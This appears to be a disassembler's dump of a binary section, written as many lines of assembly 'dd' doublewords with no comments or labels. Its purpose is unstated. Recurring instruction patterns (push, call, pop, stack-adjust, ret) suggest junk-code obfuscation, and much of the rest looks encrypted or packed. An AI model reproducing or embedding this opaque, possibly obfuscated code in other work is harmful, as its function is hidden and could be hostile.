		dd 0BB378B11h, 68DE59FBh, 0F33FF681h, 890F661Bh, 4, 46F6BB66h
		dd 73E5EE81h, 0DB8122A6h, 67228F02h, 0C70FF681h, 91B865CCh
		dd 8963F68Ch, 13E937h, 3A450000h, 593AF78Fh, 0E3B3940Eh
		dd 51E660C7h, 43063DA7h, 1EF832Eh, 4F4FC38Bh, 8182B74Fh
		dd 1EAh, 13850F00h, 0B1000000h,	28E911h, 96330000h, 0FBD675F1h
		dd 0D5B40441h, 830FECF0h, 2, 82E93DB7h,	0CAFFFFFFh, 0E34262D6h
		dd 0C61E9144h, 2C4A8624h, 8D8D1A87h, 61A3F6Ch, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 51C35040h, 1A51BE66h
		dd 1BBD8D89h, 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0C6DD09C3h, 8D892FB9h, 6131285h
		dd 18DD85C7h, 623C0613h, 8EBF0000h, 0C700C69Eh,	13305585h
		dd 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 0CCA841B7h, 3594B863h, 0E9D2BF0Fh
		dd 11h,	8040B67Ch, 8F5D0B95h, 95945850h, 4F67DBB7h, 418D0145h
		dd 0FF061317h, 130ED5B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0C58AB8C9h
		dd 958B7E50h, 6132881h,	1D8995FFh, 6A0613h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0BDB643C3h
		dd 60767591h, 830Fh, 0BB660000h, 830FA482h, 3, 6AC2BF0Fh
		dd 0A995FF00h, 8B06130Dh, 6D0FEBC0h, 0C43E1A46h, 0E6EA6BCh
		dd 0B21A4263h, 0C3E9357Fh, 42000000h, 5E4462F4h, 0FE2482CCh
		dd 2002A0AAh, 0BFE1C18Fh, 0D1C4E272h, 0B4A02D5Eh, 0AEA43416h
		dd 0B3952A10h, 0B09C2D13h, 0D7064912h, 16B7F47Bh, 0C271CD44h
		dd 0A9E063DDh, 0DBE595E1h, 57E66AF9h, 5AF64593h, 4C08557Dh
		dd 6549CFDh, 62D774D7h,	3F91B9EFh, 11DB3A0Bh, 0DEE0EC72h
		dd 81C92B10h, 997C109Bh, 0E410581Ch, 1Fh, 1975E8C7h, 520FD388h
		dd 0D387A723h, 1E2D700Fh, 434FC539h, 83E2EF00h,	0FAC2921Fh
		dd 0BDE17B60h, 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h
		dd 0F330252h, 7FC392C2h, 2D112030h, 0BC9EAF9Bh,	2215242Ah
		dd 1A3F8568h, 4126E906h, 574BFFF9h, 4CA8C124h, 43F36D51h
		dd 10E8CD45h, 0EC000000h, 70B8FF28h, 8D329E87h,	7D5C16E2h
		dd 8B1A0516h, 133521BDh, 66525B06h, 5F944DB8h, 59A7C381h
		dd 81660000h, 337540F7h, 71B589F6h, 0FF06132Bh,	0C68A1E34h
		dd 958B605Ah, 6130159h,	81615A50h, 8D906DEAh, 0B1858B3Fh
		dd 81061325h, 0E4020EAh, 83C08117h, 815BC263h, 0CCBC25EAh
		dd 0B58D8B7Ah, 52061316h, 14E9h, 3816E600h, 0DF1DE1Fh
		dd 0BA4119EEh, 3CAE9F31h, 6BA3DE01h, 33048F54h,	23E1858Bh
		dd 0FA8B0613h, 0F04EE83h, 0B80h, 5830F00h, 0B9000000h
		dd 53568536h, 0A704FE81h, 850FFFFFh, 0FFFFFF87h, 1DF9858Bh
		dd 9D8D0613h, 6131F31h,	23E4B8h, 5D858900h, 0E806131Eh
		dd 0
		dd 0D0558h, 3890000h, 23E4E9h, 8F9h dup(0)
		dd 16EB00h, 4 dup(0)
		dd 1000000h, 40001h, 6A061A00h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 5134C352h, 37B69B05h
		dd 0AE86050h, 7E000000h, 188CC815h, 0CCE8B9B9h,	8A0F23h
		dd 5A000000h, 61C28B66h, 6A240489h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 429EC351h
		dd 0EE8h, 0BE883800h, 0C3A988F9h, 0ED427C28h, 0FB7EF97h
		dd 6A5FDABFh, 10E900h, 2F3F0000h, 0E9A93E79h, 45F1068Bh
		dd 0AF2D24C3h, 6A3E74h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0A4C35646h, 8B7C3F52h, 8D9FBB0Bh, 1A66A485h
		dd 0C9816606h, 0F88B158Eh, 64A9B990h, 0F502EDFh, 287h
		dd 90CF8B00h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ch,	38C35747h, 0EB5B3A69h, 86E4E412h, 14D19589h, 6A0613h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 92C35747h
		dd 7649B85Eh, 61FE8B60h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0F02847C3h, 2FB436D9h
		dd 9E924h, 497B0000h, 0BF840847h, 0FF00DE4Ch, 1307F195h
		dd 0C1816606h, 9D2BA5CDh, 61329CDh, 5D0E9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0E8F5F9h, 5D000000h,	66A9ED81h, 6A061Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 493202C3h
		dd 8166AD68h, 6ADACFE3h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 7139C352h, 0B0739AA4h
		dd 6E8h, 0BC213E00h, 8B22706Dh,	92685BD9h, 664F5D93h, 815F4FBFh
		dd 9C322434h, 95FF4F5Dh, 6130DA9h, 5E8h, 0DD678900h, 0BD3115C4h
		dd 6130165h, 5B58D5Ah, 6A061A65h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0E698C353h
		dd 20F5B589h, 0B70F0613h, 5206C7D2h, 0C76D6765h, 6E6F0446h
		dd 6A6C63h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 57D6B9C3h, 661CFC89h, 0B509C88Bh,	6130B39h
		dd 610846C7h, 0B7007373h, 0F59D8933h, 6A061315h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0E81F0601h, 5, 1FC7181Ah, 66605F97h,	412DE081h, 5858D61h
		dd 6A061A65h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 5B17C355h, 4ED891D6h, 0B52213Ch
		dd 1324A1BDh, 52505006h, 2C806ABBh, 0B9310F44h,	0DCB3994h
		dd 489585Ah, 52006A24h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 752945D7h, 0FF40BBFEh, 13117995h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0E4812029h, 89E3D48Dh, 130E1D9Dh, 0FC00B06h
		dd 4B84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 31A3D53h,	87E9A505h, 6A000003h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 5B1FC351h, 122C875Eh, 0D78B74CFh, 16CA9968h,	46BA6670h
		dd 24348144h, 7016CBB5h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0F7C35242h, 81D6CB0Ah, 0FFA64EC2h, 130DA995h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 1926CFF4h, 0C88A7E89h, 12198D8Bh, 0B58D0613h
		dd 61A6505h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	0F3C35040h, 0C78FA597h,	34383106h, 57006A36h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 0E280B6D8h, 258D89C1h, 0E9061312h, 0Ah, 0BA878C65h
		dd 415C5A07h, 46C78567h, 342D3704h, 85895131h, 61314A5h
		dd 846C75Fh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 86C35242h
		dd 0A2C92D46h, 6AF9BDD3h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 7038B10Ah
		dd 673D007h, 0DE9h, 4077EC00h, 0A7FDD57Bh, 0DB0CA3D9h
		dd 858D5C7Ah, 61A6505h,	2B7108B9h, 0EE85025h, 0A7000000h
		dd 2D5E41D5h, 0B435EED1h, 4C8D4C24h, 17B46004h,	5A615857h
		dd 6A240489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0EFD0C353h, 33EAFDD6h,	0EAD958Bh
		dd 95FF0613h, 6131179h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 80C35141h, 0D15F096Ah, 0ADC59948h, 0FC00B78h
		dd 1184h, 0AD850900h, 0E906130Dh, 1A2h,	80D38B66h, 0C56836C5h
		dd 0E9935687h, 7, 0ED8EF2ABh, 81D7DA8Bh, 79672404h, 0FFF96CA9h
		dd 130DA995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 9C9E21Eh,	0BFBAAD7Ch, 8D7FE441h
		dd 1A6505B5h, 0C7D78B06h, 6C694606h, 55006A65h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 4C287372h
		dd 20E9FD1h, 11E973F0h,	0DF000000h, 0AF087828h,	0C4CA9019h
		dd 0E583FB08h, 312E3BCBh, 6D0446C7h, 6A636E6Fh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 7DD4C351h, 503ABB66h, 6820Fh, 85890000h, 6131A2Dh, 6C0846C7h
		dd 89737361h, 130635B5h, 0C46C706h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 92C35040h
		dd 26B96669h, 6A006AE3h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0B006C351h,	518D8BACh
		dd 0F061330h, 858DD6BFh, 61A6505h, 0AD58589h, 0B5900613h
		dd 0BB6650C9h, 89907D2Dh, 131DB9B5h, 7995FF06h,	8B061311h
		dd 0FC00BD6h, 2E84h, 28B0F00h, 8B000000h, 44E9D3h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0A38339C3h, 0E90C0B7Eh, 0FFFFFAAAh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0E5C35343h,	0B58DA690h, 6137533h
		dd 0C204F781h, 0B81FB8h, 0F5000000h, 6AE6FFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0BBA910C3h
		dd 4D074315h, 0E98166CDh, 8BF501E5h, 0E8C18BCBh, 0Ch, 0ED9FC65Bh
		dd 1D0D6612h, 266AA778h, 13799D8Bh, 0F5F0613h, 0C781F1B7h
		dd 6C32h, 19B58B51h, 5B06130Ch,	1AD668h, 85896000h, 6130B81h
		dd 2E7B8BBBh, 0F586106h, 37FFF7BFh, 59D7BF0Fh, 0CE8h, 91402D00h
		dd 0B2A3D782h, 0D433AD8Eh, 0D5E281F9h, 5B471E22h, 34D1E981h
		dd 0D68143F3h, 373CABDCh, 4B47C181h, 0B70F4BCBh, 40C181D1h
		dd 800077EEh, 8951A9CAh, 13220585h, 66078F06h, 0EF81D78Bh
		dd 11FCA05h, 0DE8h, 73939000h, 0B662425Bh, 56A2CADEh, 0B50BC1FBh
		dd 61322CDh, 1C7815Bh, 81011FCAh, 1E8h,	12850F00h, 66000000h
		dd 23E9F78Bh, 53000000h, 69491559h, 0C14D5359h,	0E932B637h
		dd 0FFFFFF6Eh, 0AB70E7Ah, 0A7B5E98Bh, 48E21701h, 2BE47770h
		dd 8D8D975Eh, 61A6DCBh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 22C35040h, 0BD8BC78Bh, 6130C71h, 1BBD8D89h
		dd 6A0613h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 67BFBC3h,	29EEDD61h, 858B64A8h, 6131FBDh
		dd 18DD85C7h, 5DA80613h, 95890000h, 6133085h, 305585C7h
		dd 613h, 0C18A0000h, 2831B5FFh,	0B5890613h, 6131FD1h, 1D8995FFh
		dd 6A0613h, 0DA995FFh, 0C08B0613h, 0C06C2FEBh, 0A223BDE8h
		dd 844E5035h, 0BF1954B5h, 496875CBh, 7FAFBE46h,	0C69E7368h
		dd 0D31BF1A4h, 0A9208144h, 0D4E958EBh, 9B8DB5AFh, 0A592DDFDh
		dd 0B1CAFE9Ch, 36A80E93h, 0FC8A4A18h, 0ABA80E90h, 5475EAD5h
		dd 3CA80E91h, 0BA8A4A19h, 0E957AE5Dh, 448A4A19h, 0ABA80E96h
		dd 0F75EAD5h, 0DFA80E96h, 898A4A1Eh, 59A80E96h,	38A4A1Fh
		dd 0ABA80E97h, 2575EAD5h, 3B82D42Fh, 0C0031330h, 52B23FA3h
		dd 2A1290A7h, 0D12157B8h, 43907B2Fh, 3B47D42Fh,	0C0031330h
		dd 52B23FABh, 35CD90A7h, 0D12157B8h, 43907B3Bh,	2436D42Fh
		dd 0C0031330h, 52B23FB7h, 357990A7h, 0D12157B8h, 43907B37h
		dd 259FD42Fh, 0C0031330h, 52B23F83h, 340A90A7h,	0D12157B8h
		dd 43907B03h, 2569D42Fh, 0C0031330h, 52B23F8Fh,	378890A7h
		dd 0D12157B8h, 43907B1Bh, 26EBD42Fh, 0C0031330h, 52B23F97h
		dd 37F690A7h, 0D12157B8h, 43907B13h, 5012B8C3h,	0CEDF152Ah
		dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 5FE4F1C0h, 0A8ED96A4h
		dd 458A152Ah, 67A02429h, 0BAB496E3h, 54A1D5ADh,	0C6CB152Ah
		dd 0BA415564h, 0CE75EAD5h, 9D3AAE63h, 848C062Bh, 11AB5342h
		dd 55FFEA22h, 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h
		dd 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h
		dd 4162AD6Ch, 660351A2h, 0EE27BFEAh, 2FBFDB2Fh,	94751330h
		dd 0D9020112h, 5FF102A0h, 0EC79AEA4h, 41AE51A1h, 4322DC09h
		dd 0BA8C0F51h, 0DF103773h, 0C821732Ah, 4ED34628h, 0FD5BEA2Ch
		dd 508C152Bh, 52009881h, 0ABAE4BD9h, 0EFD2A5FBh, 0DDA42C89h
		dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah
		dd 0D5F251A2h, 5FE5B1C0h, 5CDDDAA4h, 828668A1h,	54A8ADE7h
		dd 0BACC152Ah, 47A14C30h, 0CE529E2Ch, 9783FC69h, 0EFE2A5B9h
		dd 0D9F9FA31h, 5FF102A0h, 0D79AEA4h, 2320949Ah,	328C551Ah
		dd 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah
		dd 34549521h, 458A15C2h, 0BE290BA2h, 43907AD1h,	0DFA02429h
		dd 4D1957h, 54A8515Eh, 0D775532Ah, 52BB58BFh, 0CE19CDA1h
		dd 979BFC69h, 0EFE2A5B9h, 0D9F9FA31h, 5FF102A0h, 0D79AEA4h
		dd 2320949Ah, 328C651Ah, 6E218481h, 29215DDFh, 174D6h
		dd 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh
		dd 458A15D6h, 953BFDA2h, 97B91DC9h, 0DE049191h,	454A38F2h
		dd 0A82851A2h, 5E0E1AD5h, 0EDA851A2h, 458A1523h, 862DA055h
		dd 45869025h, 0A32851A2h, 8E4B7332h, 972337AAh,	38A1BE4Ch
		dd 0A8D5D8AEh, 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h
		dd 38011D5Fh, 0A8ED96AEh, 458A152Ah, 0B769C20Eh, 76582622h
		dd 8C22FD62h, 458AD507h, 0AB54D1A2h, 45939125h,	5D1151A2h
		dd 0B28A152Ah, 5B7AD453h, 458A1FAFh, 5610E0A2h,	0EF4B93E2h
		dd 7F039191h, 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h
		dd 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh, 9D00B92Ah
		dd 0D4A7B222h, 860085E1h, 4322DC08h, 0BA8C0F51h, 0FEF8E173h
		dd 3E9D9FA7h, 855757B8h, 6E20D6A0h, 29215DDFh, 174D6h
		dd 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh
		dd 458A15D6h, 54AFE9A2h, 0D775152Ah, 52BB506Bh,	0C8204526h
		dd 4ED34628h, 0F55BEA2Ch, 949BFB2Bh, 2E853186h,	50AC5962h
		dd 0EFAEA580h, 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h
		dd 0A86CD24Eh, 4DFF9E4Ah, 93A42C29h, 458AE96Fh,	0FE0451A2h
		dd 4C9787D5h, 8C2357B1h, 0EF491786h, 2FBFDB2Fh,	94751330h
		dd 0BD28E9C4h, 8600BE4Ch, 58D57A08h, 247668A3h,	9D541429h
		dd 108A1DE8h, 902BBD29h, 300175D6h, 58D5DAAAh, 457650EDh
		dd 0F8A851A2h, 5818EA80h, 0DFAE42ABh, 8558B9E2h, 4332DC08h
		dd 0BA8C0F51h, 94103771h, 0CF2173E3h, 2983FB63h, 0B9F79C26h
		dd 0A8EDDAC3h, 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h
		dd 0B9CFD226h, 54A851A2h, 0D775BF86h, 52BB58BFh, 7726DDA1h
		dd 0CE25FB63h, 43906E3Dh, 0ECCE825Dh, 0EEECE4AAh, 7F029028h
		dd 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h,	2576D1A9h
		dd 0DFA02429h, 4D1957h,	54A8515Eh, 7732732Ah, 0D903376Bh
		dd 5FF102B0h, 327BAEA4h, 234B9592h, 0FE04FD09h,	0CC866801h
		dd 0DFC9ADDFh, 8743E96Fh, 0DFFD51AAh, 0B94E96C6h, 5CDDDAC2h
		dd 828668A1h, 54A8ADE7h, 0FDEC152Ah, 0FFCEB824h, 3E9D8FA7h
		dd 875757B8h, 320A09Ah,	0CE25FB0Eh, 43906E3Dh, 0ECCE825Dh
		dd 0EEECD8ACh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h
		dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 5FF8D9C0h, 0A8ED96A4h
		dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h,	798A152Ah
		dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h
		dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah
		dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 43907B2Bh, 8C32DCF1h
		dd 0BA8C0F44h, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h
		dd 4EC64038h, 0DF07462Ch, 52B23F7Ah, 3C6D5h, 5492B85Eh
		dd 3075152Ah
		dd 5CDDAEAEh, 2B978FA7h, 0D9FB57B8h, 5FE4CDB0h,	0DD7BAEA4h
		dd 5863E96Fh, 0ABA851A2h, 3075195Fh, 7D32DCAAh,	168C0F44h
		dd 3A70CB2Fh, 96751330h, 0BD54142Bh, 458A152Ah,	0A8EDDAC3h
		dd 4582D7E3h, 3044BAh, 2AE900h,	4C70000h, 24h, 0E800h
		dd 815D0000h, 1A73A8EDh, 24448B06h, 0C5858904h,	0B8061304h
		dd 0
		dd 4F8D8D8Dh, 0E1FF0613h, 6754B8h, 0E00CEB00h, 0A4324FFh
		dd 8138BC57h, 0E980DE18h, 585h,	579E9h,	4412A000h, 5CF24466h
		dd 42085C7Eh, 63ED3E64h, 84D05D43h, 0D338F726h,	0CAF0CE86h
		dd 0D8FAD87Ah, 0C3E5C583h, 0EFFCDA72h, 28217DF0h, 0B7EA16B8h
		dd 0E06CBD8Bh, 6EDA6D51h, 0E56DFBDFh, 71E37254h, 54FDEE0h
		dd 8FC11234h, 4E220730h, 0CCF357E9h, 814BAA7Bh,	0FE4CE0E2h
		dd 73DB6B6Fh, 0A58D6B54h, 19F1F277h, 0DCE485C9h, 0F8694E8Dh
		dd 81C91BC5h, 428C901Ah, 63233E7Ah, 11446344h, 109E74B5h
		dd 450B5C7Eh, 0B86D9C24h, 0F1168887h, 9D280FACh, 98E77F47h
		dd 745615DFh, 664C6AE0h, 98E978D2h, 4F8A2F55h, 6413A8EAh
		dd 5B65EF3Eh, 4363E779h, 4B681E43h, 2FBD8B1Ah, 859BCCBh
		dd 0F7D771C6h, 7047ED1h, 39E401C4h, 3BCA9BFAh, 0DCC90AC0h
		dd 0AB851C1h, 0D17FD0B5h, 42600180h, 4C6B1B46h,	75D41819h
		dd 1EB19986h, 1735882Ah, 70FDC746h, 6DED1C2Dh, 0A97A71D3h
		dd 20223317h, 5B71C08Eh, 24AD9831h, 6D2B51EAh, 0FCA95F4h
		dd 2BB59D2Bh, 10F4h, 6DE0C700h,	17559F81h, 0C499438Dh
		dd 32Bh, 0DE6ABD6Ah, 51F94B8Fh,	69E28C00h, 842226B9h, 592F7FA3h
		dd 20BA535Ah, 9D3B22Ch,	85D474C7h, 2963E03Dh, 384DE290h
		dd 0ECCBAAA8h, 89D872C6h, 0B092C008h, 0A9912E1Ch, 8C067719h
		dd 55109E69h, 81005130h, 15A6A837h, 0BC362A3Bh,	941933Fh
		dd 0ECFE3AA9h, 0D7FB06E4h, 0CE00C888h, 0D3F5D57Fh, 5A7CCD85h
		dd 89F0820Ah, 0DE28362Ch, 0F6FC0B08h, 0E485E4F3h, 1211E0C7h
		dd 0A6922403h, 231CCF1Eh, 0FA661B04h, 61507DB2h, 24C496F0h
		dd 0B63E5FFAh, 0A533DF5Ch, 0BC310EADh, 0FA24C562h, 0B898272Bh
		dd 0E6C10FD9h, 9Ah, 0C5BBA34Ch,	4DFF5274h, 0BC9C496Eh
		dd 7B2A4B7Ch, 0EB3D6371h, 237F0E5Fh, 65109E9Bh,	50E48E2Bh
		dd 66F6DCFAh, 0E8795DECh, 1082D564h, 1B79C77Bh,	9E9B70EAh
		dd 0B5D43910h, 0ADA53315h, 292BBA9Ch, 3513A88Ah, 8CDBE524h
		dd 633C6358h, 0EB40AD57h, 2FCC468Eh, 0BD1D3583h, 37064E9Bh
		dd 0B1DD310Fh, 79DB6A18h, 1567C59h, 85B7D47h, 253C6340h
		dd 55E9EF11h, 0F988D7E1h, 109E3F98h, 0BF2E11CEh, 109E4063h
		dd 0A5DFE92Ch, 7FC95E14h, 66E87A60h, 7D608F41h,	4CC5BFEh
		dd 6ABD7CD6h, 6A508FDEh, 6A6C74D6h, 2D1BB0D5h, 7B15FD4Ch
		dd 696E59FEh, 0CC29F50h, 2D82D41Ch, 0F6470558h,	280D3097h
		dd 26E7ACFFh, 71F46747h, 0B8109DD5h, 41C6D3A0h,	0CE8AB5A3h
		dd 0E4FE3A31h, 0F45EEED0h, 0FF1FB5ECh, 0A389FFFFh, 7AEBC8BEh
		dd 168EA18Fh, 2441578h,	203D9DAFh, 63E3AB3Ah, 98A59DF2h
		dd 80015031h, 89C31638h, 484596B8h, 293859F7h, 37A689B6h
		dd 0A8A28DBh, 2D5761A4h, 59C4EB9Ch, 1469B31Bh, 0DC6D5F69h
		dd 0DD705270h, 0C0E23CB1h, 6AAB0A89h, 75679F45h, 0CAAB6A2Fh
		dd 278B0A7Bh, 85030A8Ah, 61EB3EF4h, 0B8CE5F41h,	233569D3h
		dd 8FDEBF36h, 714E3831h, 7A9BFDFCh, 7BCC0E10h, 640584D5h
		dd 671F4A46h, 62486748h, 0ABEA7BCDh, 769B60BAh,	0DCE42904h
		dd 60AE00ADh, 55E4290Ah, 4C6ADE71h, 0BD194C6Bh,	86FE5C26h
		dd 489BBD07h, 5DC03100h, 2F436269h, 0DE38AD8Ah,	0A7B91DE4h
		dd 2C3D15A3h, 0CA448CEDh, 1A2E8131h, 0C4696BCh,	82C6193Dh
		dd 0EB60AAB3h, 0C1DAF3C1h, 0C55B0Bh, 0BDFF0000h, 0DDC2E16Dh
		dd 0ACE10433h, 109DCE32h, 0B0359AFBh, 0C380682Eh, 0F364DB80h
		dd 2B0C4A92h, 4E96B607h, 3492B80Ch, 3393BD0Eh, 3694C00Dh
		dd 4BC73619h, 14109E71h, 7148C233h, 8C11109Eh, 0D87CC9EDh
		dd 226FBE10h, 2A0C193h,	0E4C29020h, 0FFDF69BEh,	0E6C488D9h
		dd 0D45CDEC9h, 76F99EB0h, 9E5B8B07h, 50315410h,	5221C66Bh
		dd 7E46A684h, 26810D5Ch, 0A791F67Dh, 0E20D5C3Dh, 0A7634C8Bh
		dd 116961C4h, 0F041935Dh, 95D70D5Ch, 15488724h,	109DF3B9h
		dd 1B593D82h, 51E072C2h, 75D88B30h, 3A18A80Ah, 0FF6E7B5Bh
		dd 0E466FAE0h, 8F01DCh,	0DD5D0000h, 9DB535AEh, 61467310h
		dd 0FFE1BC33h, 7F09D380h, 0BD32300Ah, 0E4C1E16Dh, 50E16BBEh
		dd 13A5A731h, 0E5983771h, 7A1B3BBFh, 6BE5765Ch,	0E796634Ch
		dd 36D7DA72h, 6B059EFFh, 0A9066744h, 9E50DA34h,	5A62A310h
		dd 4D07567Ch, 0FE6F506Dh, 109E50A4h, 74C583D8h,	0B0044615h
		dd 2B4ACB9Ah, 3222AFA1h, 341EAE94h, 4391B996h, 15DF3E0Fh
		dd 0FAD870C3h, 0E7C785D8h, 14C8h, 5E7B6600h, 0B4920C81h
		dd 87C3109Dh, 9F2F81DEh, 677194A3h, 0E571BDEDh,	6DDF7254h
		dd 0E365FADCh, 72E07052h, 252DFE3h, 92C20F33h, 20307FC3h
		dd 0AF9B2D11h, 242ABC9Eh, 0EC812215h, 4, 89240489h, 405E0h
		dd 0E8830000h, 24048704h, 285F685Ch, 4890000h, 44396824h
		dd 34890000h, 0D8BF5724h, 0C1604907h, 0F78107E7h, 17F8042Ah
		dd 8104E7C1h, 0E3F27E7h, 14CF813Ah, 8163A84Eh, 0B43DD7F7h
		dd 8BF88975h, 0C483243Ch, 348B5404h, 4C48124h, 51000000h
		dd 8B9h, 1E98100h, 1614C41h, 1C181F1h, 89614C41h, 34FF5901h
		dd 0C4815E24h, 4, 582434FFh, 0E904C483h, 0FFF90808h, 0D0B8FCE2h
		dd 3061A78h, 55D38BC5h,	5E75FDEDh, 0A476F67Ah, 0BC56E669h
		dd 8B28FD49h, 0DA8EFD25h, 0CDCFFD25h, 472DFD25h, 821FFD25h
		dd 60F5FD25h, 11D2FD25h, 0A9B3FD25h, 0F5AEFD25h, 0DAD5FD25h
		dd 0CDA2FD25h, 3907FD25h, 8360FD25h, 6141FD25h,	1022FD25h
		dd 0D7EEFD25h, 8B32FD25h, 259DFD25h, 2295358Ah,	4A76D6A2h
		dd 0BD5CDE71h, 5A5CF44Bh, 2775FD7Ah, 9775F572h,	0CB74FD79h
		dd 0ED73FD78h, 0F374F57Dh, 7874FC7Bh, 0BC75FC7Bh, 5E75FD7Ah
		dd 2576FD7Ah, 0A375A3F5h, 0CB75A3EAh, 0E475FD7Ah, 0F374FC7Bh
		dd 9074FC7Bh, 0BC75F8B2h, 23F0701Ah, 0A673E707h, 8D0C49FFh
		dd 58F0707Ch, 6C73E707h, 0E80C89FFh, 0A8F0707Ch, 3573E707h
		dd 440C4DFFh, 1EF0707Ch, 1E73E707h, 0D10C85FFh,	15F0707Ch
		dd 7B73E706h, 630C81FFh, 32F0707Ch, 0D773E701h,	350C7DFFh
		dd 37F0707Ch, 4273E701h, 0FF0C79FFh, 44F0707Ch,	0F073E701h
		dd 0A60C75FFh, 4FF0707Ch, 0A673E706h, 8D0C69FFh, 16F0707Ch
		dd 6C73E701h, 0E80C71FFh, 85F0707Ch, 3573E701h,	440C6DFFh
		dd 3EF0707Ch, 1E73E706h, 0D10C69FFh, 0AEF0707Ch, 7B73E706h
		dd 630C59FFh, 0D6F0707Ch, 0D773E706h, 350C55FFh, 1AF0707Ch
		dd 4273E706h, 0FF0C51FFh, 24F0707Ch, 0F073E706h, 0A60C65FFh
		dd 53F0707Ch, 0A673E707h, 8D0C61FFh, 63F0707Ch,	6C73E707h
		dd 0E80C5DFFh, 64F0767Ch, 3573EE73h, 440C10FFh,	0E6F0767Ch
		dd 1E73EE7Bh, 0D10C0CFFh, 0B0B69C7Ch, 0F29D11F1h, 2375FD7Ah
		dd 0C77417FBh, 0D525FB60h, 0ADFDF53Fh, 916F8496h, 0CFB73422h
		dd 0B723AC7Ah, 1A20AD29h, 7975FD7Ah, 9E987C27h,	0A073E701h
		dd 350C8EFFh, 0E4C87D7Ch, 0CF73E703h, 0E4C5B409h, 0F9B54B75h
		dd 863589BAh, 0A60C0CEFh, 96FEBD7Ch, 2F7A452Bh,	28AFD7Ah
		dd 0CD6F848Bh, 9C0148F7h, 0C6F8FB60h, 4B9D50FCh, 0CF75FD7Eh
